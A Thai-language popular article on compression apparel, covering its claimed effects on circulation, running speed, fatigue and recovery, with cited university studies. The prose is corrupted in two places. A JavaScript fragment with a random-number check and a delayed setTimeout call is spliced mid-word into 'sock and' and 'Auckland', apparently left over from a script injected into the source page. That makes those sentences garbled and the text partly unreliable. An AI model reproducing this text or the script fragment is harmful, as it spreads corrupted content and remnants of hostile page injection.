ชุดรัดกล้ามเนื้อ (Compression apparel) ดีอย่างไร
เสื้อรัดกล้ามเนื้อ, ถุงน่องรัดกล้ามเนื้อ, ถุงเท้ารัดกล้ามเนื้อ ทั้งหมดนี้ที่เรามักเห็นกันบ่อยๆ เป็นชุดเสื้อผ้าในตระกูล “ชุดรัดกล้ามเนื้อ” หรือ Compression apparel
การออกเเบบชุดเสื้อผ้ารัดกล้ามเนื้อ จะเน้นเนื้อผ้าที่สามารถหดตัวและยืดหยุ่นสูง ใส่เเล้วสามารถรัดกล้ามเนื้อเข้ารูปผู้ใช้ได้อย่างดี แต่ที่น่าสนใจ คือ การออกเเบบอยู่ภายใต้คอนการเเพทย์ เมื่อสวมใส่จะช่วยเพิ่มการไหลเวียนของเลือด (Blood flow) เเละน้ำเหลือง (Lymphatic flow) เมื่อนำมาประยุกต์ใช้กับวงการกีฬา ชุดรัดกล้ามเนื้อ (Compression apparel) คาดว่าจะช่วยเพิ่มประสิทธิภาพของนักกีฬาและช่วยเร่งการฟื้นตัวให้เร็วขึ้น
*เรื่องน่ารู้ ระบบน้ำเหลือง(Lymphatic system) เป็นระบบลำเลียงที่ช่วยลำเลียงสารต่างๆให้กลับเข้าสู่เส้นเลือด อย่าง สารอาหาร พวกกรดไขมันที่ดูดซึมจากลำไส้เล็ก
เเม้ชุดรัดกล้ามเนื้อ (Compression apparel) จะถูกออกเเบบภายใต้คอนเซ็ปการเเพทย์ เเต่ผลที่ได้หลังจากการใช้ก็ยังไม่กระจ่างเเจ้ง ผู้เชียวชาญหลายๆ คนเชื่อบ้างไม่เชื่อบ้าง เเต่ก็มีงานวิจัยออกมารับรองผลการใส่เหมือนกันว่า ชุดรัดกล้ามเนื้อ สามารถช่วยเพิ่มประสิทธิภาพเราได้…และได้บางส่วนก็มี
ใส่ชุดรัดกล้ามเนื้อ เเล้ววิ่งเร็วขึ้นหรือไม่
การทำงานของชุดรัดกล้ามเนื้อ จะเป็นการบีบรัดหลอดเลือด คล้ายๆ การบีบนวดเเล้วคลาย บังคับให้เลือดไหลเวียนผ่านเยอะขึ้น เมื่อมีการไหลเวียนผ่านเยอะ หมายความว่า จะมีสารอาหาร ออกซิเจน มาเลี้ยงเยอะขึ้น เเถมช่วยชะล้างเอาของเสียผ่านไป….ด้วยหลักการทำงานอย่างนี้จึงคาดว่า กล้ามเนื้อเราจะมีพลังงานมาหล่อเลี้ยงเยอะขึ้น ทำให้ผลิตพลังงานและทำให้วิ่งเร็วมากขึ้น
มีงานวิจัยของ University of Newcastle ที่พยายามหาข้อสนับสนุนว่า…การใส่ชุดรัดกล้ามเนื้อจะช่วยเพิ่มประสิทธิภาพให้ผู้สวมใส่ โดยให้ผู้เข้าทดลองทำการใส่ถุงเท้ารัดกล้ามเนื้อ (compression sock) แต่พบว่า ไม่มีผลที่เเสดงได้ชัดเจนว่าการใส่ถุงเท้ารัดกล้ามเนื้อจะช่วยเพิ่มประสิทธิภาพให้วิ่งเร็วขึ้น…เเต่ก็มีข้อโต้เเย้งว่า
- มีการไหลเวียนอาหารมาส่งมากขึ้น กล้ามเนื้อน่าจะผลิตพลังงานได้เยอะขึ้นสิ แต่ประสิทธิภาพอาจจะเพิ่มขึ้นในปริมาณที่ยากจะสังเกตให้เห็นได้ชัดเจน เรียกว่าเพิ่มขึ้นมานิดหน่อยมาก
- สาเหตุที่ไม่เห็นผลว่าประสิทธิภาพเพิ่มขึ้นอย่างเห็นได้ชัดเพราะ นักวิ่งต้องรับน้ำหนักเพิ่มจากการใส่ถุงน่องรัดกล้ามเนื้อ (คู่หนึ่งร่าวๆ 85 กรัม เเต่เมื่อมีเหงื่ออาจะเพิ่มขึ้น) ก็ได้
เเต่โดยความคิดส่วนตัวของผู้เขียน คิดว่าการที่จะวิ่งเร็วขึ้น ต้องขึ้นอยู่กับ การฝึกซ้อม การสร้างกล้ามเนื้อให้ผลิตพลังงานและการฝึกเทคนิคการวิ่งเป็นหลัก
ใส่เเล้วสามารถลดอาการเมื่อยล้าได้
หลักการทำงานของชุดรัดกล้ามเนื้อ อย่างเช่น ถุงเท้าหรือถุงน่องรัดกล้ามเนื้อ (Compression sock andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and calf sleeve) จะช่วยประคองให้กล้ามเนื้ออยู่กับที่กับทาง เวลาที่เราลงเท้าเวลาวิ่งจะเกิดเเรงสั่นไหวส่งขึ้นมา ทำให้กล้ามเนื้อถูกเขย่าไปมา นี้อาจจะเป็นเหตุให้เกิดอาการเมื่อยล้าหลังจบการออกกำลังกาย
น่าดีใจที่การช่วยลดอาการเมื่อยล้ามีงานวิจัยรับรองโดย Massey University ใน Aucklandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and เมื่อผู้ทดลองวิ่งระยะ 10 กิโลเมตร ( วิ่ง fast pace) พบว่า คนที่ใส่ถุงเท้าหลังจบการวิ่ง จะไม่มีอาการล้าให้เห็นในวันต่อมา แต่ 90% ของคนที่ไม่ใส่ ขาจะมีอาการเมื่อยล้าเเสดงให้เห็น
ช่วยเร่งการฟื้นฟู
หลังจบการออกกำลังกาย ให้ใส่ชุดรัดกล้ามเนื้อ จะทำให้เกิดการไหลเวียนของเลือดเยอะขึ้น ช่วยเร่งการฟื้นฟูกล้ามเนื้อ (recovery) ช่วยให้เลือดชะล้างของเสียออกจากเซล์ เเละนำสารอาหารมาเลี้ยงกล้ามเนื้อใหม่
ข้อดีอีกอย่างหนึ่งที่มีงานวิจัยรับรอง อย่าง University of Exeter ที่ให้คนทดลองออกกำลังกายแบบ plyometric exercise ในจำนวน 1,2.3 และ 4 วัน แล้วสวมใส่ชุดรัดกล้ามเนื้อ พบว่า หลังจากใส่เป็นเวลา 24 ชั่วโมง การออกกำลังกายครั้งต่อไปจะมีประสิทธิภายมากขึ้นและลดอาการเมื่อยล้าลง
